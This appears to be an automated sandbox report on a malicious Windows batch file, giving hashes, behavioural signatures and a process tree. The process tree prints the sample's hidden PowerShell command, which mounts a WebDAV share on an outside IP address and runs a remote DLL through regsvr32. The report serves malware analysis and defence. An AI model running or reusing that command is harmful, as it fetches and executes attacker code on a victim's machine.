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Analysis
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max time kernel
140s -
max time network
103s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
21/07/2024, 01:16
Static task
static1
Behavioral task
behavioral1
Sample
5623205342853313428.bat
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
5623205342853313428.bat
Resource
win10v2004-20240709-en
General
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Target
5623205342853313428.bat
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Size
10KB
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MD5
15fb0171780a044b55f6eebdcb475d37
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SHA1
fa3021377ecced794887b3903e7610934d3f1407
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SHA256
ee13a9bc7f8f60001dd5bdc13fb21cdc5ffe58ec97511f445fd9b78dbdedd551
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SHA512
a6d9586194f84a52a9543d37381249c036e1617cc3536be520febe3492e643e865666a91662cd916d147e09684942e1518ab3a7aa69f3a8db6d3c9dcaa6f423c
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SSDEEP
192:8us5mDgVA3JR0O2uElDefMOyxyDoX666teX666JsgJ67ZwofwwGmmB:8usUScT0KUqfMOoy8X666IX666JsgJ64
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3604 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3604 powershell.exe 3604 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3604 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 1036 wordpad.exe 1036 wordpad.exe 1036 wordpad.exe 1036 wordpad.exe 1036 wordpad.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 5072 wrote to memory of 1036 5072 cmd.exe 85 PID 5072 wrote to memory of 1036 5072 cmd.exe 85 PID 5072 wrote to memory of 3604 5072 cmd.exe 87 PID 5072 wrote to memory of 3604 5072 cmd.exe 87 PID 3604 wrote to memory of 4020 3604 powershell.exe 89 PID 3604 wrote to memory of 4020 3604 powershell.exe 89 PID 3604 wrote to memory of 748 3604 powershell.exe 90 PID 3604 wrote to memory of 748 3604 powershell.exe 90
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\5623205342853313428.bat"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5072 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:1036
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\12258268996821.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3604 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:4020
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C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\12258268996821.dll3⤵PID:748
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:1796
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82